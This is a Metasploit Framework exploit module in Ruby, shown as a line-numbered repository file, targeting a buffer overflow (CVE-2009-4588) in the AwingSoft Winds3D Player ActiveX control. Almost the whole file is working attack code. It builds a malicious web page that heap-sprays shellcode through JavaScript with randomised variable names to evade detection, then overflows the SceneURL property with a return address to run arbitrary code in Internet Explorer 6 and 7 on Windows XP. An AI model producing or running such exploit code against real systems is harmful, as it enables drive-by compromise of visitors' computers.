Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / awingsoft_web3d_bof.rb @ master

History | View | Annotate | Download (4.5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
##
13
# awingsoft_web3d_bof.rb
14
#
15
# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
16
#
17
# Tested successfully on the following platforms:
18
#  - Internet Explorer 6, Windows XP SP2
19
#  - Internet Explorer 7, Windows XP SP3
20
#
21
# WindsPly.ocx versions tested:
22
#  - 3.0.0.5
23
#  - 3.5.0.0
24
#  - 3.6.0.0 (beta)
25
#
26
# Trancer
27
# http://www.rec-sec.com
28
##
29

    
30
require 'msf/core'
31

    
32
class Metasploit3 < Msf::Exploit::Remote
33
        Rank = AverageRanking
34

    
35
        include Msf::Exploit::Remote::HttpServer::HTML
36

    
37
        def initialize(info = {})
38
                super(update_info(info,
39
                        'Name'           => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',
40
                        'Description'    => %q{
41
                                        This module exploits a data segment buffer overflow within Winds3D Viewer of
42
                                AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
43
                                AwingSoft Web3D Player.
44
                                By setting an overly long value to the 'SceneURL' property, an attacker can
45
                                overrun a buffer and execute arbitrary code.
46
                        },
47
                        'License'        => MSF_LICENSE,
48
                        'Author'         =>
49
                                [
50
                                        'shinnai <shinnai[at]autistici.org>',        # Original exploit [see References]
51
                                        'Trancer <mtrancer[at]gmail.com>',                  # Metasploit implementation
52
                                        'jduck'
53
                                ],
54
                        'Version'        => '$Revision$',
55
                        'References'     =>
56
                                [
57
                                        [ 'CVE', '2009-4588' ],
58
                                        [ 'OSVDB', '60017' ],
59
                                        [ 'URL', 'http://www.milw0rm.com/exploits/9116' ],
60
                                        [ 'URL', 'http://www.shinnai.net/exploits/nsGUdeley3EHfKEV690p.txt' ],
61
                                        [ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]
62
                                ],
63
                        'DefaultOptions' =>
64
                                {
65
                                        'EXITFUNC' => 'process'
66
                                },
67
                        'Payload'        =>
68
                                {
69
                                        'Space'         => 1024,
70
                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",
71
                                        'StackAdjustment' => -3500
72
                                },
73
                        'Platform'       => 'win',
74
                        'Targets'        =>
75
                                [
76
                                        # data segment size: 76180
77
                                        # crasher offsets: 2640, 2712, 8984, 68420, 68424
78
                                        [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]
79
                                ],
80
                        'DisclosureDate' => 'Jul 10 2009',
81
                        'DefaultTarget'  => 0))
82
        end
83

    
84
        def on_request_uri(cli, request)
85

    
86
                # Re-generate the payload
87
                return if ((p = regenerate_payload(cli)) == nil)
88

    
89
                # Encode the shellcode
90
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
91

    
92
                # Setup exploit buffers
93
                nops           = Rex::Text.to_unescape([target.ret].pack('V'))
94
                ret            = Rex::Text.uri_encode([target.ret].pack('V'))
95
                blocksize = 0x40000
96
                fillto    = 500
97
                offset           = target['Offset']
98

    
99
                # Randomize the javascript variable names
100
                winds3d      = rand_text_alpha(rand(100) + 1)
101
                j_shellcode  = rand_text_alpha(rand(100) + 1)
102
                j_nops       = rand_text_alpha(rand(100) + 1)
103
                j_ret        = rand_text_alpha(rand(100) + 1)
104
                j_headersize = rand_text_alpha(rand(100) + 1)
105
                j_slackspace = rand_text_alpha(rand(100) + 1)
106
                j_fillblock  = rand_text_alpha(rand(100) + 1)
107
                j_block      = rand_text_alpha(rand(100) + 1)
108
                j_memory     = rand_text_alpha(rand(100) + 1)
109
                j_counter    = rand_text_alpha(rand(30) + 2)
110

    
111
                # we must leave the page, so we use http-equiv and javascript refresh methods
112
                html = %Q|<html>
113
<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>
114
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
115
<script>
116
#{j_shellcode}=unescape('#{shellcode}');
117
#{j_nops}=unescape('#{nops}');
118
#{j_headersize}=20;
119
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
120
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
121
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
122
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
123
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
124
#{j_memory}=new Array();
125
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
126

    
127
var #{j_ret} = unescape('#{ret}');
128
while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }
129
#{winds3d}.SceneURL = #{j_ret};
130
setTimeout('window.location = "#{get_resource}";', 500);
131
</script>
132
</html>
133
|
134

    
135
                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
136

    
137
                # Transmit the response to the client
138
                send_response(cli, html, { 'Content-Type' => 'text/html' })
139

    
140
                # Handle the payload
141
                handler(cli)
142
        end
143
end